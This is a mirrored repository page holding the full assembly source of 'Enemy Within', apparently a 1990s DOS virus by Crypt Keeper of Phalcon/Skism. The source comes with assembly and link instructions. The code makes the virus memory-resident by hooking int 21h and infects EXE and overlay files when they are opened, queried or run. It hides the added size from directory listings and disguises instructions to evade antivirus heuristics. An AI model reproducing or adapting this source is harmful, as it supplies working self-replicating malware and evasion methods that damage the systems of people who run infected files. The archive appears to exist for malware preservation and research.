mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 12:25:29 +00:00
438 lines
13 KiB
NASM
438 lines
13 KiB
NASM
; [Enemy Within] v1.00 by Crypt Keeper -Phalcon/Skism-
|
|
;
|
|
; Enemy Within is a memory resident virus that infects EXE and overlay files
|
|
; with directory size increases hidden. I'll be using this as a base for
|
|
; future more advanced viruses.
|
|
;
|
|
; Enemy Within infects EXEs and overlays on file Open, Get/Set
|
|
; attributes, and execute.
|
|
;
|
|
; TASM ENEMY.ASM /M3
|
|
; TLINK ENEMY.OBJ /t
|
|
; .COM file can be executed with no modifications
|
|
|
|
.model tiny
|
|
.code
|
|
|
|
org 100h ;make this a com file
|
|
|
|
enemy_within:
|
|
|
|
;----------------------------------------------------------------------------
|
|
|
|
vlength equ vbot-offset(enemy_within) ;Virus length in bytes
|
|
heapsiz equ hbot-htop ;size of heap data in bytes
|
|
ressize equ 1024/16 ;Virus size resident
|
|
virusid equ 08AC5h ;Virus ID word in EXE header
|
|
chkfunc equ 0FFFEh ;Check resident function for int 21h
|
|
|
|
;----------------------------------------------------------------------------
|
|
|
|
push ds es ;save startup registers
|
|
|
|
db 0BDh ;mov bp,
|
|
delta dw 0 ;delta offset
|
|
|
|
xor ax,ax
|
|
dec ax
|
|
dec ax ;AX=FFFE (check resident function)
|
|
int 21h ;check if virus is resident
|
|
|
|
inc ax ;is virus resident (zero if yes)
|
|
jz return ;if so, don't install
|
|
|
|
;Microsoft Windows/Desqview compatable load resident routine
|
|
install:
|
|
mov bx,ressize ;amount of memory to request
|
|
mov ah,48h ;allocate memory
|
|
int 21h
|
|
|
|
jc not_enough_memory ;carry set means allocation error
|
|
|
|
mov es,ax ;ax=segment of allocated memory
|
|
|
|
dec ax
|
|
mov ds,ax ;segment of MCB for memory
|
|
mov word ptr ds:[01h],08h ;set memory block as independant
|
|
jmp short memory_allocation_complete
|
|
not_enough_memory:
|
|
pop ax
|
|
push ax ;get PSP value off stack
|
|
mov es,ax ;ES=PSP for set memory block size
|
|
dec ax
|
|
mov ds,ax ;get segment of this program's MCB
|
|
|
|
mov bx,word ptr ds:[03h] ;get size of current block
|
|
dec bx ;decrease size of memory block
|
|
|
|
mov ah,4Ah ;set memory block size
|
|
int 21h
|
|
|
|
jc return ;return if allocation error
|
|
jmp short install ;try to allocate again
|
|
memory_allocation_complete:
|
|
push cs
|
|
pop ds
|
|
|
|
push es ;save found target segment
|
|
|
|
mov ax,3521h ;get int 21h vector
|
|
int 21h
|
|
|
|
mov [bp+offset(i21vecs)],es
|
|
mov [bp+offset(i21veco)],bx
|
|
|
|
pop es
|
|
|
|
mov cx,(vlength+heapsiz+1)/2 ;words to move
|
|
mov di,100h ;destination in memory
|
|
lea si,[bp+offset(enemy_within)] ;source of viral code
|
|
|
|
rep movsw ;copy ourselves up there
|
|
|
|
push es
|
|
pop ds ;segment to set int vector
|
|
mov dx,offset(i21vec) ;int 21h vector
|
|
|
|
mov ax,2621h ;set int 21h vector
|
|
dec ah ;without setting off mem resident
|
|
int 21h ;code heuristic flags
|
|
|
|
return: pop bx ;segment of PSP
|
|
mov es,bx
|
|
|
|
add bx,16 ;compensate for PSP size
|
|
add cs:[bp+offset(old_cs)],bx ;add PSP to initial CS
|
|
|
|
pop ds ;restore old DS register
|
|
|
|
cli ;clear interrupt enable flag
|
|
mov ax,cs:[bp+offset(old_ss)] ;old SS register
|
|
add ax,bx ;add PSP adress
|
|
mov ss,ax
|
|
db 0BCh ;mov sp,
|
|
old_sp dw 0 ;old stack pointer
|
|
sti ;set interrupt enable flag
|
|
|
|
jmp dword ptr cs:[bp+offset(old_ip)] ;jump to original EXE code
|
|
|
|
;----------------------------------------------------------------------------
|
|
|
|
vname db '[Enemy Within] Crypt Keeper - Phalcon/Skism'
|
|
|
|
old_ip dw 0
|
|
old_cs dw 0FFF0h ;Old CS:IP
|
|
|
|
old_ss dw 0FFF0h ;old stack segment
|
|
|
|
;----------------------------------------------------------------------------
|
|
|
|
i21vec: cmp ax,chkfunc ;check resident function?
|
|
jne no_check_func
|
|
|
|
inc ax ;increment AX
|
|
iret ;return from interrupt
|
|
|
|
no_check_func:
|
|
inc ah ;avoid execute intercept heuristic flags
|
|
|
|
cmp ax,4C00h ;load and execute program?
|
|
je _infect_on_exec
|
|
|
|
cmp ax,4C01h ;load program?
|
|
je _infect_on_exec
|
|
|
|
cmp ax,4C03h ;load overlay?
|
|
je _infect_on_exec
|
|
|
|
dec ah ;return AX to normal
|
|
|
|
cmp ah,3Dh ;open file with handle?
|
|
je _infect_on_open
|
|
|
|
cmp ax,4300h ;get file attributes?
|
|
je _infect_on_open
|
|
|
|
cmp ax,4301h ;set file attributes?
|
|
je _infect_on_open
|
|
|
|
cmp ah,11h ;find first file (FCB)?
|
|
je FCB_dir_stealth
|
|
|
|
cmp ah,12h ;find next file (FCB)?
|
|
je FCB_dir_stealth
|
|
|
|
cmp ah,4Eh ;find first file (DTA)?
|
|
je DTA_dir_stealth
|
|
|
|
cmp ah,4Fh ;find next file (DTA)?
|
|
je DTA_dir_stealth
|
|
|
|
exit_interrupt_chained:
|
|
jmp dword ptr cs:i21veco ;execute rest of interrupt chain
|
|
_infect_on_exec:
|
|
dec ah ;return AX to normal
|
|
_infect_on_open:
|
|
jmp infect_file ;and attempt to infect
|
|
|
|
FCB_dir_stealth:
|
|
call function ;go ahead and execute
|
|
|
|
pushf
|
|
push dx cx bx es ax ;push all used registers
|
|
|
|
test al,al ;was find successful?
|
|
jnz exit_interrupt_stealth
|
|
|
|
mov ah,51h ;Get PSP address
|
|
int 21h
|
|
|
|
mov es,bx ;ES=PSP address
|
|
|
|
sub bx,word ptr es:[16h] ;parent PSP?
|
|
jnz exit_interrupt_stealth
|
|
|
|
mov bx,dx
|
|
mov al,byte ptr [bx] ;first byte of FCB
|
|
|
|
push ax
|
|
|
|
mov ah,2Fh ;get DTA adress
|
|
int 21h
|
|
|
|
pop ax
|
|
|
|
inc al
|
|
jnz checkFCBinfected ;extended FCB?
|
|
|
|
add bx,007h ;If so, make into normal
|
|
|
|
checkFCBinfected:
|
|
mov ax,word ptr es:[bx+17h]
|
|
mov cx,word ptr es:[bx+19h] ;Get time and date
|
|
|
|
call unmask ;unmask second and date
|
|
|
|
xor ax,cx ;file infected?
|
|
jnz exit_interrupt_stealth ;exit stealth interrupt
|
|
|
|
sub word ptr es:[bx+01Dh],vlength
|
|
sbb word ptr es:[bx+01Fh],ax ;subtract virus size
|
|
|
|
exit_interrupt_stealth:
|
|
pop ax es bx cx dx
|
|
popf ;pop all used registers
|
|
exit_interrupt_stealthvec:
|
|
retf 02h ;return with given flags
|
|
|
|
unmask: and ax,1Fh
|
|
and cx,1Fh
|
|
dec cx ;unmask seconds and date
|
|
ret
|
|
|
|
DTA_dir_stealth: ;DTA directory size subtract
|
|
call function ;go ahead and execute
|
|
|
|
jc exit_interrupt_stealthvec ;exit if function unsuccessful
|
|
|
|
pushf
|
|
push dx cx bx es ax ;push all used registers
|
|
|
|
mov ah,2Fh ;get DTA adress
|
|
int 21h
|
|
|
|
mov ax,word ptr es:[bx+16h]
|
|
mov cx,word ptr es:[bx+18h] ;get time and date stamps
|
|
|
|
call unmask ;unmask date and seconds
|
|
|
|
xor ax,cx ;is file infected?
|
|
jnz exit_interrupt_stealth ;if not, don't subtract size
|
|
|
|
sub word ptr es:[bx+1Ah],vlength
|
|
sbb word ptr es:[bx+1Ch],ax ;subtract virus size in bytes
|
|
|
|
jmp short exit_interrupt_stealth
|
|
|
|
move_pointer_end:
|
|
xor cx,cx
|
|
cwd ;zero cx and dx
|
|
mov ax,4202h ;move pointer from EOF
|
|
function:
|
|
pushf
|
|
call dword ptr cs:i21veco ;simulate call to original int 21h
|
|
ret
|
|
open_readwrite: ;opens file at DS:DX for read/write
|
|
mov ax,3D00h ;open for read only access
|
|
call function
|
|
|
|
jc bad_open ;carry set means open error
|
|
|
|
push cs
|
|
pop ds
|
|
|
|
push ax ;file handle
|
|
mov bx,ax
|
|
|
|
mov ax,1220h ;get JFT entry
|
|
int 2Fh
|
|
|
|
mov ax,1216h ;get SFT location
|
|
mov bl,byte ptr es:[di] ;handle number
|
|
int 2Fh
|
|
|
|
pop bx
|
|
|
|
mov word ptr es:[di+02h],2 ;set file for read/write
|
|
ret
|
|
bad_open:
|
|
pop ax
|
|
jmp short exit_infect ;exit if bad open
|
|
infect_file:
|
|
push ax si es di bx cx ds dx ;push all used registers
|
|
|
|
call open_readwrite ;open file for read/write access
|
|
|
|
mov cx,24 ;24 bytes of header to read
|
|
mov dx,offset(exeheader) ;EXE header information
|
|
|
|
mov ah,3Fh ;read file or device
|
|
int 21h
|
|
|
|
cmp cx,ax ;enough bytes read?
|
|
jne bad_file ;if not, file too small
|
|
|
|
mov cx,exeid
|
|
not cx ;check whether EXE file without
|
|
cmp cx,0B2A5h ;tripping TBAV's check com/exe
|
|
je disease_exe ;heuristic flag
|
|
cmp cx,0A5B2h
|
|
je disease_exe ;if MZ or ZM, go ahead and infect
|
|
|
|
bad_file:
|
|
mov ah,3Eh ;close file with handle
|
|
int 21h
|
|
|
|
exit_infect:
|
|
pop dx ds cx bx di es si ax ;pop all used registers
|
|
jmp exit_interrupt_chained ;execute rest of interrupt chain
|
|
|
|
disease_exe:
|
|
cmp chksum,virusid ;file already infected?
|
|
je bad_file ;if so, bad file
|
|
|
|
lds si,dword ptr es:[di+0Dh] ;get old file date and time
|
|
push si ds ;and save
|
|
|
|
push cs
|
|
pop ds
|
|
|
|
add minallc,ressize ;add virus size in paragraphs
|
|
|
|
push es ;save SFT segment
|
|
|
|
les si,dword ptr ds:initss ;get initial SS:SP (reversed)
|
|
mov old_ss,si
|
|
mov old_sp,es
|
|
|
|
les si,dword ptr ds:initip ;get initial CS:IP
|
|
mov old_cs,es
|
|
mov old_ip,si
|
|
|
|
pop es
|
|
|
|
call move_pointer_end ;move file pointer to end of file
|
|
|
|
mov cx,16
|
|
div cx ;convert file size to seg:offset
|
|
|
|
sub ax,headers ;subtract header size from segment
|
|
|
|
mov initcs,ax
|
|
mov initip,dx ;set initial cs:ip
|
|
|
|
sub dx,100h
|
|
mov delta,dx ;set delta offset in virus code
|
|
|
|
add dx,offset(sspace)+64+100h
|
|
mov initsp,dx
|
|
mov initss,ax ;set initial SS:SP in exe header
|
|
|
|
mov chksum,virusid ;set file as already infected
|
|
|
|
mov dx,100h ;offset of virus code in memory
|
|
mov cx,vlength ;length of virus code
|
|
|
|
mov ah,40h ;write file or device
|
|
push ax
|
|
int 21h
|
|
|
|
call move_pointer_end ;get file size
|
|
|
|
mov cx,512
|
|
div cx ;convert to pages
|
|
|
|
test dx,dx ;no remainder?
|
|
jz no_remainder
|
|
|
|
inc ax ;if remainder add another page
|
|
no_remainder:
|
|
mov expages,ax
|
|
mov exbytes,dx ;set new exe size
|
|
|
|
cwd
|
|
mov word ptr es:[di+15h],dx
|
|
mov word ptr es:[di+17h],dx ;zero file pointer in SFT
|
|
|
|
mov dx,offset(exeheader) ;exe header information
|
|
mov cx,24 ;24 bytes to change
|
|
|
|
pop ax ;write file or device
|
|
int 21h
|
|
|
|
pop dx cx ;old file date/time
|
|
|
|
push dx ;save original file date
|
|
and cx,-20h ;reset seconds
|
|
and dx,1Fh
|
|
dec dx ;unmask date field
|
|
|
|
or cx,dx ;seconds=date
|
|
|
|
pop dx ;restore old date
|
|
|
|
mov ax,5701h ;set file date and time
|
|
int 21h
|
|
|
|
jmp bad_file ;close and exit
|
|
|
|
;----------------------------------------------------------------------------
|
|
|
|
vbot equ $ ;bottom of virus code
|
|
htop equ $ ;top of heap
|
|
|
|
i21veco dw 0
|
|
i21vecs dw 0 ;old int 21h vector
|
|
|
|
exeheader:
|
|
exeid dw 0 ;Unchanged ;EXE signature
|
|
exbytes dw 0 ;number of bytes in last page
|
|
expages dw 0 ;number of pages in file
|
|
reloci dw 0 ;Unchanged ;number of items in relocation table
|
|
headers dw 0 ;Unchanged ;size of header in paragraphs
|
|
minallc dw 0 ;minimum memory to be allocated
|
|
maxallc dw 0 ;Unchanged ;maximum memory to be allocated
|
|
initss dw 0 ;initial SS value
|
|
initsp dw 0 ;initial SP value (used as ID word)
|
|
chksum dw 0 ;complimented checksum
|
|
initip dw 0 ;initial IP value
|
|
initcs dw 0 ;initial CS value
|
|
reltabl dw 0 ;Unchanged ;byte offset to relocation table
|
|
ovnum dw 0 ;Unchanged ;overlay number
|
|
|
|
hbot equ $ ;bottom of heap data
|
|
|
|
sspace db 70 dup (0) ;virus stack
|
|
|
|
end enemy_within ;end of virus code
|